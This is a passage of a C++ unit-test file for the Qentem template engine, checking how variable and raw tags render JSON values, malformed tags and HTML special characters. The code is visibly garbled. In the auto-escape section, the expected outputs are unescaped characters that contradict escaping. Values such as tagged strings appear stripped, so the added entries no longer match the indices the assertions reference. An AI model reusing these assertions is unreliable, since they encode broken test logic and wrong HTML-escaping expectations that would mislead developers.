EQ_VALUE(Template::Render(content, &value), R"(------true------)", R"(Render())"); content = R"(------{var:key7[0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(------null------)", R"(Render())"); content = R"(------{var:key7[2][0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(------Qentem------)", R"(Render())"); content = R"(------{var:6[key3]}------)"; EQ_VALUE(Template::Render(content, &value), R"(------false------)", R"(Render())"); content = R"(------{var:6[key4]}------)"; EQ_VALUE(Template::Render(content, &value), R"(------100------)", R"(Render())"); content = R"({var:key7[2[0]})"; EQ_VALUE(Template::Render(content, &value), R"({var:key7[2[0]})", R"(Render())"); content = R"({var:6key3]})"; EQ_VALUE(Template::Render(content, &value), R"({var:6key3]})", R"(Render())"); END_SUB_TEST; } static int TestVariableTag2() { Value value = JSON::Parse(R"(["A", "abc", true, 456, 1.5])"); const char *content; content = R"({var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(AA)", R"(Render())"); content = R"({var:1}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(abcA)", R"(Render())"); content = R"({var:1}{var:2})"; EQ_VALUE(Template::Render(content, &value), R"(abctrue)", R"(Render())"); content = R"({var:2}{var:3}{var:2})"; EQ_VALUE(Template::Render(content, &value), R"(true456true)", R"(Render())"); content = R"({var:4}{var:4}{var:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.51.51.5)", R"(Render())"); /// content = R"({var:0}-{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(A-A)", R"(Render())"); content = R"({var:1}--{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(abc--A)", R"(Render())"); content = R"({var:1}---{var:2})"; EQ_VALUE(Template::Render(content, &value), R"(abc---true)", R"(Render())"); content = R"({var:2}{var:3}--{var:2})"; EQ_VALUE(Template::Render(content, &value), R"(true456--true)", R"(Render())"); content = R"({var:4}--{var:4}{var:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5--1.51.5)", R"(Render())"); content = R"({var:4}--{var:4}--{var:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5--1.5--1.5)", R"(Render())"); content = R"({var:4}---{var:4}---{var:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5---1.5---1.5)", R"(Render())"); END_SUB_TEST; } static int TestVariableTag3() { Value value; const char *content; content = R"({var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var:0})", R"(Render())"); EQ_VALUE(Template::Render(R"({var:a})", &value), R"({var:a})", R"(Render())"); content = R"({var:0[0]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({var:0[0]})", R"(Render())"); content = R"({var:a[0]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({var:a[0]})", R"(Render())"); content = R"({var:0[a]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({var:0[a]})", R"(Render())"); content = R"({var:a[abc]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({var:a[abc]})", R"(Render())"); //////////////// value = JSON::Parse(R"([[[]],{"a":["x"],"b":{"a":"X"}}])"); content = R"({var:0})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({var:0})", R"(Render())"); content = R"({var:0[0]})"; EQ_VALUE(Template::Render(content, &value), R"({var:0[0]})", R"(Render())"); content = R"({var:0[0][0]})"; EQ_VALUE(Template::Render(content, &value), R"({var:0[0][0]})", R"(Render())"); ///// content = R"({var:1})"; EQ_VALUE(Template::Render(content, &value), R"({var:1})", R"(Render())"); content = R"({var:2})"; EQ_VALUE(Template::Render(content, &value), R"({var:2})", R"(Render())"); content = R"({var:1[a]})"; EQ_VALUE(Template::Render(content, &value), R"({var:1[a]})", R"(Render())"); content = R"({var:1[b]})"; EQ_VALUE(Template::Render(content, &value), R"({var:1[b]})", R"(Render())"); //// value = JSON::Parse(R"(["A", "abc", true, 456, 1.5])"); content = R"({var:0)"; EQ_VALUE(Template::Render(content, &value), R"({var:0)", R"(Render())"); content = R"(var:0})"; EQ_VALUE(Template::Render(content, &value), R"(var:0})", R"(Render())"); content = R"({v})"; EQ_VALUE(Template::Render(content, &value), R"({v})", R"(Render())"); content = R"({va})"; EQ_VALUE(Template::Render(content, &value), R"({va})", R"(Render())"); content = R"({var})"; EQ_VALUE(Template::Render(content, &value), R"({var})", R"(Render())"); content = R"({var:})"; EQ_VALUE(Template::Render(content, &value), R"({var:})", R"(Render())"); content = R"({v:0})"; EQ_VALUE(Template::Render(content, &value), R"({v:0})", R"(Render())"); content = R"({va:0})"; EQ_VALUE(Template::Render(content, &value), R"({va:0})", R"(Render())"); //// content = R"({var:0{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var:0{var:0})", R"(Render())"); content = R"(var:0{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(var:0A)", R"(Render())"); content = R"(var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(var:0}A)", R"(Render())"); content = R"({var:0{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var:0{var:0}A)", R"(Render())"); //// content = R"({var:0{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var:0{var:0})", R"(Render())"); content = R"(var:0{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(var:0A)", R"(Render())"); content = R"(var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"(var:0}A)", R"(Render())"); content = R"({var:0{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var:0{var:0}A)", R"(Render())"); //// content = R"({{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({A)", R"(Render())"); content = R"({{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({AA)", R"(Render())"); content = R"({v{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({vA)", R"(Render())"); content = R"({v{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({vAA)", R"(Render())"); content = R"({va{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({vaA)", R"(Render())"); content = R"({va{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({vaAA)", R"(Render())"); content = R"({var{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({varA)", R"(Render())"); content = R"({var{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({varAA)", R"(Render())"); /// content = R"({-{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({-A)", R"(Render())"); content = R"({-{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({-AA)", R"(Render())"); content = R"({v-{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({v-A)", R"(Render())"); content = R"({v-{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({v-AA)", R"(Render())"); content = R"({va-{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({va-A)", R"(Render())"); content = R"({va-{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({va-AA)", R"(Render())"); content = R"({var-{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var-A)", R"(Render())"); content = R"({var-{var:0}{var:0})"; EQ_VALUE(Template::Render(content, &value), R"({var-AA)", R"(Render())"); // content = R"({var-0})"; EQ_VALUE(Template::Render(content, &value), R"({var-0})", R"(Render())"); content = R"({var 0})"; EQ_VALUE(Template::Render(content, &value), R"({var 0})", R"(Render())"); content = R"({var:0 })"; EQ_VALUE(Template::Render(content, &value), R"({var:0 })", R"(Render())"); content = R"({var:0 )"; EQ_VALUE(Template::Render(content, &value), R"({var:0 )", R"(Render())"); content = R"({var:0)"; EQ_VALUE(Template::Render(content, &value), R"({var:0)", R"(Render())"); content = R"( {var-0})"; EQ_VALUE(Template::Render(content, &value), R"( {var-0})", R"(Render())"); content = R"( {var 0})"; EQ_VALUE(Template::Render(content, &value), R"( {var 0})", R"(Render())"); content = R"( {var:0 })"; EQ_VALUE(Template::Render(content, &value), R"( {var:0 })", R"(Render())"); content = R"( {var:0 )"; EQ_VALUE(Template::Render(content, &value), R"( {var:0 )", R"(Render())"); content = R"( {var:0)"; EQ_VALUE(Template::Render(content, &value), R"( {var:0)", R"(Render())"); END_SUB_TEST; } static int TestVariableTag4() { Value value; value += R"(<)"; value += R"(>)"; value += R"(&)"; value += R"(")"; value += R"(')"; value += R"(<>)"; value += R"(<&)"; value += R"(<&)"; value += R"(>")"; value += R"("')"; value += R"(<">)"; value += R"(<'>)"; value += R"(<&>)"; value += R"(&"&)"; value += R"("'")"; value += R"('<')"; value += R"('&')"; value += R"(<>&'")"; value += R"('"<>&)"; value += R"(<"&'>)"; value += R"(<<<<<)"; value += R"(>>>>>)"; value += R"(&&&&&)"; value += R"(""""")"; value += R"(''''')"; value += R"(A<)"; value += R"(A>)"; value += R"(A&)"; value += R"(A")"; value += R"(A')"; value += R"(A)"; value += R"(&A)"; value += R"("A)"; value += R"('A)"; value += R"(AA)"; value += R"(A&A)"; value += R"(A"A)"; value += R"(A'A)"; value += R"(AAAA)"; value += R"(AA&AA)"; value += R"(AA"AA)"; value += R"(AA'AA)"; value += R"(AA<<<>>>AA)"; value += R"(AA&&&&AA)"; value += R"(AA""""AA)"; value += R"(AA''''AA)"; value += R"(B'C"D&E'F"GI&G"K)"; value += R"(AB"CD'EFIGK')"; value += R"("ABC'DEFGK<)"; value += R"(A""BC<>FG''HI&&GK)"; #if defined(QENTEM_AUTOESCAPE_HTML) && (QENTEM_AUTOESCAPE_HTML == 1) EQ_VALUE(Template::Render(R"({var:0})", &value), R"(<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:1})", &value), R"(>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:2})", &value), R"(&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:3})", &value), R"(")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:4})", &value), R"(')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:5})", &value), R"(<>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:6})", &value), R"(<&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:7})", &value), R"(<&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:8})", &value), R"(>")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:9})", &value), R"("')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:10})", &value), R"(<">)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:11})", &value), R"(<'>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:12})", &value), R"(<&>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:13})", &value), R"(&"&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:14})", &value), R"("'")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:15})", &value), R"('<')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:16})", &value), R"('&')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:17})", &value), R"(<>&'")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:18})", &value), R"('"<>&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:19})", &value), R"(<"&'>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:20})", &value), R"(<<<<<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:21})", &value), R"(>>>>>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:22})", &value), R"(&&&&&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:23})", &value), R"(""""")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:24})", &value), R"(''''')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:25})", &value), R"(A<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:26})", &value), R"(A>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:27})", &value), R"(A&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:28})", &value), R"(A")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:29})", &value), R"(A')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:30})", &value), R"(<A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:31})", &value), R"(>A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:32})", &value), R"(&A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:33})", &value), R"("A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:34})", &value), R"('A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:35})", &value), R"(A<A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:36})", &value), R"(A>A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:37})", &value), R"(A&A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:38})", &value), R"(A"A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:39})", &value), R"(A'A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:40})", &value), R"(AA<AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:41})", &value), R"(AA>AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:42})", &value), R"(AA&AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:43})", &value), R"(AA"AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:44})", &value), R"(AA'AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:45})", &value), R"(AA<<<<AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:46})", &value), R"(AA>>>>AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:47})", &value), R"(AA&&&&AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:48})", &value), R"(AA""""AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:49})", &value), R"(AA''''AA)", R"(Render())"); EQ_VALUE( Template::Render(R"({var:50})", &value), R"(<A>B'C"D&E'F"G<H>I&G"K)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:51})", &value), R"(AB"CD'EF<GH>IGK')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:52})", &value), R"("ABC'DEF<GHI>GK<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:53})", &value), R"(A""BC<<DE>>FG''HI&&GK)", R"(Render())"); #else EQ_VALUE(Template::Render(R"({var:0})", &value), R"(<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:1})", &value), R"(>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:2})", &value), R"(&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:3})", &value), R"(")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:4})", &value), R"(')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:5})", &value), R"(<>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:6})", &value), R"(<&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:7})", &value), R"(<&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:8})", &value), R"(>")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:9})", &value), R"("')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:10})", &value), R"(<">)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:11})", &value), R"(<'>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:12})", &value), R"(<&>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:13})", &value), R"(&"&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:14})", &value), R"("'")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:15})", &value), R"('<')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:16})", &value), R"('&')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:17})", &value), R"(<>&'")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:18})", &value), R"('"<>&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:19})", &value), R"(<"&'>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:20})", &value), R"(<<<<<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:21})", &value), R"(>>>>>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:22})", &value), R"(&&&&&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:23})", &value), R"(""""")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:24})", &value), R"(''''')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:25})", &value), R"(A<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:26})", &value), R"(A>)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:27})", &value), R"(A&)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:28})", &value), R"(A")", R"(Render())"); EQ_VALUE(Template::Render(R"({var:29})", &value), R"(A')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:30})", &value), R"(A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:32})", &value), R"(&A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:33})", &value), R"("A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:34})", &value), R"('A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:35})", &value), R"(AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:37})", &value), R"(A&A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:38})", &value), R"(A"A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:39})", &value), R"(A'A)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:40})", &value), R"(AAAA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:42})", &value), R"(AA&AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:43})", &value), R"(AA"AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:44})", &value), R"(AA'AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:45})", &value), R"(AA<<<>>>AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:47})", &value), R"(AA&&&&AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:48})", &value), R"(AA""""AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:49})", &value), R"(AA''''AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:50})", &value), R"(B'C"D&E'F"GI&G"K)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:51})", &value), R"(AB"CD'EFIGK')", R"(Render())"); EQ_VALUE(Template::Render(R"({var:52})", &value), R"("ABC'DEFGK<)", R"(Render())"); EQ_VALUE(Template::Render(R"({var:53})", &value), R"(A""BC<>FG''HI&&GK)", R"(Render())"); #endif END_SUB_TEST; } static int TestRawVariableTag1() { const char *content; Value value = JSON::Parse(R"(["A", "abc", true, 456, 1.5, [null, false, ["Qentem"]]])"); Value sub_value = JSON::Parse( R"({"key1": "a", "key2": "ABC", "key3": false, "key4": 100, "key5": 1.5, "key6": {"one": 1} ,"key7": [null, false, ["Qentem"]]})"); value += sub_value; content = R"({raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(A)", R"(Render())"); content = R"({raw:1})"; EQ_VALUE(Template::Render(content, &value), R"(abc)", R"(Render())"); content = R"({raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(true)", R"(Render())"); content = R"({raw:3})"; EQ_VALUE(Template::Render(content, &value), R"(456)", R"(Render())"); content = R"({raw:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5)", R"(Render())"); content = R"({raw:5[0]})"; EQ_VALUE(Template::Render(content, &value), R"(null)", R"(Render())"); content = R"({raw:5[1]})"; EQ_VALUE(Template::Render(content, &value), R"(false)", R"(Render())"); content = R"({raw:5[2][0]})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem)", R"(Render())"); ////// content = R"({raw:key1})"; EQ_VALUE(Template::Render(content, &sub_value), R"(a)", R"(Render())"); content = R"({raw:key2})"; EQ_VALUE(Template::Render(content, &sub_value), R"(ABC)", R"(Render())"); content = R"({raw:key3})"; EQ_VALUE(Template::Render(content, &sub_value), R"(false)", R"(Render())"); content = R"({raw:key4})"; EQ_VALUE(Template::Render(content, &sub_value), R"(100)", R"(Render())"); content = R"({raw:key5})"; EQ_VALUE(Template::Render(content, &sub_value), R"(1.5)", R"(Render())"); content = R"({raw:key6[one]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(1)", R"(Render())"); content = R"({raw:key7[0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(null)", R"(Render())"); content = R"({raw:key7[1]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(false)", R"(Render())"); content = R"({raw:key7[2][0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(Qentem)", R"(Render())"); // content = R"({raw:6[key1]})"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"({raw:6[key2]})"; EQ_VALUE(Template::Render(content, &value), R"(ABC)", R"(Render())"); content = R"({raw:6[key3]})"; EQ_VALUE(Template::Render(content, &value), R"(false)", R"(Render())"); content = R"({raw:6[key4]})"; EQ_VALUE(Template::Render(content, &value), R"(100)", R"(Render())"); content = R"({raw:6[key5]})"; EQ_VALUE(Template::Render(content, &value), R"(1.5)", R"(Render())"); content = R"({raw:6[key6][one]})"; EQ_VALUE(Template::Render(content, &value), R"(1)", R"(Render())"); //////////////// content = R"(-{raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(-true)", R"(Render())"); content = R"(-{raw:key7[0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(-null)", R"(Render())"); content = R"(-{raw:key7[2][0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(-Qentem)", R"(Render())"); content = R"(-{raw:6[key3]})"; EQ_VALUE(Template::Render(content, &value), R"(-false)", R"(Render())"); content = R"(-{raw:6[key4]})"; EQ_VALUE(Template::Render(content, &value), R"(-100)", R"(Render())"); //////////// content = R"({raw:2}-)"; EQ_VALUE(Template::Render(content, &value), R"(true-)", R"(Render())"); content = R"({raw:key7[0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(null-)", R"(Render())"); content = R"({raw:key7[2][0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(Qentem-)", R"(Render())"); content = R"({raw:6[key3]}-)"; EQ_VALUE(Template::Render(content, &value), R"(false-)", R"(Render())"); content = R"({raw:6[key4]}-)"; EQ_VALUE(Template::Render(content, &value), R"(100-)", R"(Render())"); //////////// content = R"(-{raw:2}-)"; EQ_VALUE(Template::Render(content, &value), R"(-true-)", R"(Render())"); content = R"(-{raw:key7[0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(-null-)", R"(Render())"); content = R"(-{raw:key7[2][0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(-Qentem-)", R"(Render())"); content = R"(-{raw:6[key3]}-)"; EQ_VALUE(Template::Render(content, &value), R"(-false-)", R"(Render())"); content = R"(-{raw:6[key4]}-)"; EQ_VALUE(Template::Render(content, &value), R"(-100-)", R"(Render())"); //////////// content = R"(------{raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(------true)", R"(Render())"); content = R"(------{raw:key7[0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(------null)", R"(Render())"); content = R"(------{raw:key7[2][0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(------Qentem)", R"(Render())"); content = R"(------{raw:6[key3]})"; EQ_VALUE(Template::Render(content, &value), R"(------false)", R"(Render())"); content = R"(------{raw:6[key4]})"; EQ_VALUE(Template::Render(content, &value), R"(------100)", R"(Render())"); //////////// content = R"({raw:2}------)"; EQ_VALUE(Template::Render(content, &value), R"(true------)", R"(Render())"); content = R"({raw:key7[0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(null------)", R"(Render())"); content = R"({raw:key7[2][0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(Qentem------)", R"(Render())"); content = R"({raw:6[key3]}------)"; EQ_VALUE(Template::Render(content, &value), R"(false------)", R"(Render())"); content = R"({raw:6[key4]}------)"; EQ_VALUE(Template::Render(content, &value), R"(100------)", R"(Render())"); //////////// content = R"(------{raw:2}------)"; EQ_VALUE(Template::Render(content, &value), R"(------true------)", R"(Render())"); content = R"(------{raw:key7[0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(------null------)", R"(Render())"); content = R"(------{raw:key7[2][0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(------Qentem------)", R"(Render())"); content = R"(------{raw:6[key3]}------)"; EQ_VALUE(Template::Render(content, &value), R"(------false------)", R"(Render())"); content = R"(------{raw:6[key4]}------)"; EQ_VALUE(Template::Render(content, &value), R"(------100------)", R"(Render())"); content = R"({raw:key7[2[0]})"; EQ_VALUE(Template::Render(content, &value), R"({raw:key7[2[0]})", R"(Render())"); content = R"({raw:6key3]})"; EQ_VALUE(Template::Render(content, &value), R"({raw:6key3]})", R"(Render())"); END_SUB_TEST; } static int TestRawVariableTag2() { Value value = JSON::Parse(R"(["A", "abc", true, 456, 1.5])"); const char *content; content = R"({raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(AA)", R"(Render())"); content = R"({raw:1}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(abcA)", R"(Render())"); content = R"({raw:1}{raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(abctrue)", R"(Render())"); content = R"({raw:2}{raw:3}{raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(true456true)", R"(Render())"); content = R"({raw:4}{raw:4}{raw:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.51.51.5)", R"(Render())"); /// content = R"({raw:0}-{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(A-A)", R"(Render())"); content = R"({raw:1}--{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(abc--A)", R"(Render())"); content = R"({raw:1}---{raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(abc---true)", R"(Render())"); content = R"({raw:2}{raw:3}--{raw:2})"; EQ_VALUE(Template::Render(content, &value), R"(true456--true)", R"(Render())"); content = R"({raw:4}--{raw:4}{raw:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5--1.51.5)", R"(Render())"); content = R"({raw:4}--{raw:4}--{raw:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5--1.5--1.5)", R"(Render())"); content = R"({raw:4}---{raw:4}---{raw:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5---1.5---1.5)", R"(Render())"); END_SUB_TEST; } static int TestRawVariableTag3() { Value value; const char *content; content = R"({raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0})", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:a})", &value), R"({raw:a})", R"(Render())"); content = R"({raw:0[0]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({raw:0[0]})", R"(Render())"); content = R"({raw:a[0]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({raw:a[0]})", R"(Render())"); content = R"({raw:0[a]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({raw:0[a]})", R"(Render())"); content = R"({raw:a[abc]})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({raw:a[abc]})", R"(Render())"); //////////////// value = JSON::Parse(R"([[[]],{"a":["x"],"b":{"a":"X"}}])"); content = R"({raw:0})"; EQ_VALUE(Template::Render(content, StringUtils::Count(content), &value), R"({raw:0})", R"(Render())"); content = R"({raw:0[0]})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0[0]})", R"(Render())"); content = R"({raw:0[0][0]})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0[0][0]})", R"(Render())"); ///// content = R"({raw:1})"; EQ_VALUE(Template::Render(content, &value), R"({raw:1})", R"(Render())"); content = R"({raw:2})"; EQ_VALUE(Template::Render(content, &value), R"({raw:2})", R"(Render())"); content = R"({raw:1[a]})"; EQ_VALUE(Template::Render(content, &value), R"({raw:1[a]})", R"(Render())"); content = R"({raw:1[b]})"; EQ_VALUE(Template::Render(content, &value), R"({raw:1[b]})", R"(Render())"); //// value = JSON::Parse(R"(["A", "abc", true, 456, 1.5])"); content = R"({raw:0)"; EQ_VALUE(Template::Render(content, &value), R"({raw:0)", R"(Render())"); content = R"(raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(raw:0})", R"(Render())"); content = R"({r})"; EQ_VALUE(Template::Render(content, &value), R"({r})", R"(Render())"); content = R"({ra})"; EQ_VALUE(Template::Render(content, &value), R"({ra})", R"(Render())"); content = R"({raw})"; EQ_VALUE(Template::Render(content, &value), R"({raw})", R"(Render())"); content = R"({raw:})"; EQ_VALUE(Template::Render(content, &value), R"({raw:})", R"(Render())"); content = R"({r:0})"; EQ_VALUE(Template::Render(content, &value), R"({r:0})", R"(Render())"); content = R"({ra:0})"; EQ_VALUE(Template::Render(content, &value), R"({ra:0})", R"(Render())"); //// content = R"({raw:0{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0{raw:0})", R"(Render())"); content = R"(raw:0{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(raw:0A)", R"(Render())"); content = R"(raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(raw:0}A)", R"(Render())"); content = R"({raw:0{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0{raw:0}A)", R"(Render())"); //// content = R"({raw:0{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0{raw:0})", R"(Render())"); content = R"(raw:0{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(raw:0A)", R"(Render())"); content = R"(raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"(raw:0}A)", R"(Render())"); content = R"({raw:0{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw:0{raw:0}A)", R"(Render())"); //// content = R"({{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({A)", R"(Render())"); content = R"({{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({AA)", R"(Render())"); content = R"({r{raw:0})"; EQ_VALUE(Template::Render(content, &value), 